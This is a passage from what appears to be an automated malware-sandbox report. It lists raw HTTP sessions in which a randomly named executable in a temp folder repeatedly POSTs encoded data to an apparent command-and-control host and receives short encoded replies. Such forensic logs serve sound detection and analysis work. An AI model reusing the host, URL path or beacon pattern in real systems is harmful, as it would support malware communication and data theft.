13	192.168.2.4	49754	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:16:46.738078117 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue
Aug 26, 2024 20:16:47.086824894 CEST	2576	OUT	Data Raw: 5a 51 5c 52 51 42 54 51 5b 5f 5a 51 59 56 58 50 57 59 5d 53 57 50 53 5d 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZQ\RQBTQ[_ZQYVXPWY]SWPS]YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^-, ,5>8"3=\*0?.<Y / 1<_<#>,>&F$.Y/!
Aug 26, 2024 20:16:47.433161974 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:47.654253006 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49755	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:16:48.095698118 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue
Aug 26, 2024 20:16:48.446207047 CEST	2576	OUT	Data Raw: 5a 50 59 55 54 48 54 51 5b 5f 5a 51 59 55 58 51 57 5d 5d 5f 57 5c 53 58 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZPYUTHTQ[_ZQYUXQW]]_W\SXYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.^,#<"- Z*<=5_<=;\#Z4#!$+7 %8&F$.Y/-
Aug 26, 2024 20:16:48.761935949 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:48.956718922 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49756	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:16:49.089771032 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue
Aug 26, 2024 20:16:49.446254015 CEST	2576	OUT	Data Raw: 5a 51 5c 53 54 41 54 5d 5b 5f 5a 51 59 54 58 52 57 5b 5d 5d 57 59 53 5a 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZQ\STAT][_ZQYTXRW[]]WYSZYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.X. '@6=7%]+=7?]?8 <4;+9 V%^;.&F$.Y/)
Aug 26, 2024 20:16:49.785244942 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:49.918303013 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49757	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:16:50.049758911 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:16:50.399529934 CEST	2576	OUT	Data Raw: 5f 50 59 52 54 45 54 59 5b 5f 5a 51 59 5f 58 51 57 5c 5d 5d 57 5a 53 58 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _PYRTETY[_ZQY_XQW\]]WZSXYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.\/0?B6 ^#V)[3(!\?8#, 10V+<41X/&F$.Y/
Aug 26, 2024 20:16:50.721602917 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:50.920320034 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:49 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49758	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:16:51.270833015 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49759	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:16:51.437269926 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2036 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:16:51.790257931 CEST	2036	OUT	Data Raw: 5f 57 59 50 54 48 51 59 5b 5f 5a 51 59 5e 58 51 57 5b 5d 52 57 5d 53 55 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _WYPTHQY[_ZQY^XQW[]RW]SUYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.];0$"=" Z=[/>>%_?#<#!!0V<_##9Y8>&F$.Y/
Aug 26, 2024 20:16:52.089052916 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:52.287699938 CEST	308	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 26 1c 29 26 2d 01 32 2b 38 16 27 33 3a 56 3e 04 24 06 2a 13 32 06 24 3b 39 1a 25 3e 02 51 27 15 26 02 2b 07 3a 1b 25 2f 38 01 2d 1e 2b 5d 0c 13 21 01 23 14 0b 05 24 2c 34 5d 3e 06 3f 5a 35 2c 21 00 3c 03 22 0c 3f 59 2c 5f 3e 29 2f 5a 3c 3a 04 55 38 38 35 16 2e 20 2a 1e 34 04 2b 52 0d 11 24 1f 2b 03 26 0f 3e 58 27 58 36 28 38 01 30 13 29 0c 32 1c 08 57 30 3a 2c 1f 26 31 21 54 33 32 29 54 31 2b 32 12 25 2f 29 1f 36 22 23 54 2c 00 22 57 01 33 55 56 Data Ascii: &)&-2+8'3:V>$2$;9%>Q'&+:%/8-+]!#$,4]>?Z5,!<"?Y,_>)/Z<:U885. 4+R$+&>X'X6(80)2W0:,&1!T32)T1+2%/)6"#T,"W3UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49760	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:16:51.760582924 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:16:52.121998072 CEST	2576	OUT	Data Raw: 5a 57 59 52 54 42 51 5d 5b 5f 5a 51 59 55 58 54 57 5e 5d 5b 57 5c 53 5b 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZWYRTBQ][_ZQYUXTW^][W\S[YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.;##=#)-(")-44+<_'# 8>&F$.Y/-
Aug 26, 2024 20:16:52.434422970 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:52.566940069 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49761	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:16:52.707030058 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue
Aug 26, 2024 20:16:53.055619955 CEST	2576	OUT	Data Raw: 5f 51 59 52 54 45 54 5e 5b 5f 5a 51 59 56 58 55 57 5b 5d 5b 57 5b 53 5c 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _QYRTET^[_ZQYVXUW[][W[S\YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^-/358#06>4+.&?=4#<7Q "8*:?^#]/.&F$.Y/!
Aug 26, 2024 20:16:53.391042948 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:53.526371002 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49762	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:16:53.776496887 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:16:54.134088039 CEST	2576	OUT	Data Raw: 5f 5d 5c 52 54 43 51 5e 5b 5f 5a 51 59 53 58 54 57 5d 5d 53 57 5a 53 58 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _]\RTCQ^[_ZQYSXTW]]SWZSXYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^-. ;E![8#0)<=+;#,#P "<V*:(" /.&F$.Y/5
Aug 26, 2024 20:16:54.439924002 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:54.701497078 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49763	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:16:54.823751926 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:16:55.180591106 CEST	2576	OUT	Data Raw: 5a 50 59 54 51 43 51 5e 5b 5f 5a 51 59 55 58 53 57 5d 5d 58 57 5c 53 55 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZPYTQCQ^[_ZQYUXSW]]XW\SUYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.Y;0 ! =Y)-4+.=?,7<$ 1?('\ V%X,.&F$.Y/-
Aug 26, 2024 20:16:55.227355957 CEST	1236	OUT	Data Raw: 36 3a 16 36 3b 05 1f 03 04 39 1c 52 2b 2e 0d 19 15 00 24 19 36 3a 3d 2c 00 07 3a 5a 34 54 31 26 37 5f 34 20 39 30 05 29 34 2c 03 10 34 3f 1a 03 36 5c 5f 2f 3a 3d 3d 2b 39 21 18 1e 3d 03 19 22 26 33 45 15 3b 08 1c 0c 26 01 0f 59 31 59 59 2b 0d 24 Data Ascii: 6:6;9R+.$6:=,:Z4T1&7_4 90)4,4?6\_/:==+9!="&3E;&Y1YY+$&685?$=;2X9&<(^?>U, ,1#<5!:01/[? 1:?1;<62=;Y :W(3_458,(ZB?X?<'.=#[:;\2;3#0-5@=]?8YT %1W02&9;<3R;;6=)'?<Y7!8
Aug 26, 2024 20:16:55.509380102 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:55.656932116 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49764	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:16:55.777179956 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:16:56.135188103 CEST	2576	OUT	Data Raw: 5f 54 5c 55 54 41 54 5f 5b 5f 5a 51 59 55 58 5f 57 5a 5d 53 57 51 53 5d 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _T\UTAT_[_ZQYUX_WZ]SWQS]YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^-8U 53#]+.+?.\+[? ,#,P(X" 6,&F$.Y/-
Aug 26, 2024 20:16:56.460783958 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:56.658302069 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49765	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:16:56.879162073 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:16:57.227754116 CEST	2576	OUT	Data Raw: 5f 53 5c 5e 54 41 51 5d 5b 5f 5a 51 59 56 58 54 57 5a 5d 5c 57 5e 53 55 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _S\^TAQ][_ZQYVXTWZ]\W^SUYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^..33A"['705>?<"(=#Z"<+4 P?93" %Y,&F$.Y/!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49766	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:16:57.296386003 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2060 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:16:57.649346113 CEST	2060	OUT	Data Raw: 5f 56 59 53 54 40 54 5d 5b 5f 5a 51 59 54 58 53 57 50 5d 5a 57 5e 53 5f 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _VYST@T][_ZQYTXSWP]ZW^S_YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^-/'A6= 0=Y3<-&?"<042 V(?X4;.&F$.Y/)
Aug 26, 2024 20:16:57.968777895 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:58.096595049 CEST	308	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 25 0d 2a 35 2a 10 26 05 0e 16 24 30 25 0b 3d 5b 3c 03 2a 3e 31 14 24 38 29 58 26 00 38 57 26 2b 07 5a 28 2e 29 0a 26 3f 38 01 2d 34 2b 5d 0c 13 22 5c 20 3a 25 04 31 2f 30 5b 3d 16 05 17 21 02 35 05 2b 5c 29 51 3c 3f 20 5e 28 39 2f 13 2b 03 3e 1f 2f 2b 35 5c 3a 0e 2d 0f 23 14 2b 52 0d 11 24 54 28 13 39 52 29 58 34 07 22 5e 24 03 27 5b 26 55 26 32 0c 1f 27 29 24 10 25 32 14 0e 30 0f 35 1d 31 05 26 5e 27 2f 39 51 23 32 23 54 2c 00 22 57 01 33 55 56 Data Ascii: %5&$0%=[<*>1$8)X&8W&+Z(.)&?8-4+]"\ :%1/0[=!5+\)Q<? ^(9/+>/+5\:-#+R$T(9R)X4"^$'[&U&2')$%2051&^'/9Q#2#T,"W3UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49767	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:16:57.716329098 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:16:58.071222067 CEST	2576	OUT	Data Raw: 5f 5d 59 52 54 49 54 58 5b 5f 5a 51 59 5e 58 5e 57 5d 5d 5b 57 59 53 54 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _]YRTITX[_ZQY^X^W]][WYSTYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^-;'#-0 #!*(^<%<(4,7W;<7&,.&F$.Y/
Aug 26, 2024 20:16:58.378267050 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:58.650547028 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[
Aug 26, 2024 20:16:58.652692080 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49769	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
